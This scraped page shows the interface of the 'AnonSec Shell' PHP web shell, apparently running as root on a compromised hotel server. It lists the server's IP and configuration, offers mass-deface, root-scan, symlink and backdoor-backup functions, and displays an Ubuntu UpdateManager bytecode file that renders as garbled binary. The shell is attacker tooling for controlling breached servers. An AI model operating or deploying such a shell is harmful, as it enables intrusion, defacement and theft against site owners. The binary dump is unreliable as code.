AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/UpdateManager/Core/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/UpdateManager/Core/__pycache__/LivePatchSocket.cpython-310.pyc
o

z��c��@shddlmZddlZddlZddlZddlZdZGdd�dejj	�Z
Gdd�de�ZGdd	�d	e�Z
dS)
�)�GLibNz5/var/snap/canonical-livepatch/current/livepatchd.sockc@seZdZdd�Zdd�ZdS)�UHTTPConnectioncCstjj�|d�||_dS)N�	localhost)�http�client�HTTPConnection�__init__�path)�selfr	�r�D/usr/lib/python3/dist-packages/UpdateManager/Core/LivePatchSocket.pyr"s
zUHTTPConnection.__init__cCs&t�tjtj�}|�|j�||_dS�N)�socket�AF_UNIX�SOCK_STREAM�connectr	�sock)r
rrrrr&s
zUHTTPConnection.connectN)�__name__�
__module__�__qualname__rrrrrrr src@sBeZdZddd�Zdd�Zedd��Zedd	��Zed
d��ZdS)
�LivePatchSocketNcCs |durtt�|_dS||_dSr
)r�	HOST_NAME�conn)r
�	http_connrrrr.s
zLivePatchSocket.__init__cs&��fdd�}tj|d�}|��dS)Ncs�z�j�dd��j��}|jdk�t�|���}Wnty(d�t�}Ynwt	�
|��t	�|��t	�|��t
������fdd��dS)N�GETz/status?verbose=True��Fcs������Sr
rr)�active�check_state�fixes�on_done�patch_staterr�<lambda>Bs�z=LivePatchSocket.get_status.<locals>.do_call.<locals>.<lambda>)r�request�getresponse�status�yaml�	safe_load�read�	Exception�dictr�get_check_state�get_patch_state�	get_fixesr�idle_add)�r�data�rr
)rrrr r�do_call6s


�


z+LivePatchSocket.get_status.<locals>.do_call)�target)�	threading�Thread�start)r
rr1�threadrr0r�
get_status4szLivePatchSocket.get_statuscC�@z|d}tdd�|D�d�}|ddWStyYdSw)Nr$cs��|]	}|dr|VqdS��runningNr��.0�krrr�	<genexpr>L��z2LivePatchSocket.get_check_state.<locals>.<genexpr>�	livepatch�
checkStatezcheck-failed��nextr(�r/r$�kernelrrrr*H��zLivePatchSocket.get_check_statecCr8)Nr$csr9r:rr<rrrr?Ur@z2LivePatchSocket.get_patch_state.<locals>.<genexpr>rA�
patchState�unknownrCrErrrr+QrGzLivePatchSocket.get_patch_statecCs`z#|d}tdd�|D�d�}|dd}dd�|�dd	��d
�D�WSty/t�YSw)Nr$csr9r:rr<rrrr?^r@z,LivePatchSocket.get_fixes.<locals>.<genexpr>rArcSs g|]}t|�dkrt|��qS)r)�len�LivePatchFix)r=�frrr�
<listcomp>`s�z-LivePatchSocket.get_fixes.<locals>.<listcomp>z* ��
)rD�replace�splitr(�list)r/r$rFrrrrr,Zs�
�zLivePatchSocket.get_fixesr
)	rrrrr7�staticmethodr*r+r,rrrrr,s


rc@s$eZdZdd�Zdd�Zdd�ZdS)rKcCs&d}|�|�dk|_|�|d�|_dS)Nz (unpatched)���rN)�find�patchedrP�name)r
�text�patched_patternrrrrhszLivePatchFix.__init__cCs&t|t�r|j|jko|j|jkStSr
)�
isinstancerKrWrV�NotImplemented)r
�otherrrr�__eq__ms
zLivePatchFix.__eq__cCs|�|�}|tur|S|Sr
)r]r[)r
r\�resultrrr�__ne__rs
zLivePatchFix.__ne__N)rrrrr]r_rrrrrKfsrK)�
gi.repositoryr�http.clientrrr3r%rrrr�objectrrKrrrr�<module>s:

Anon7 - 2022
AnonSec Team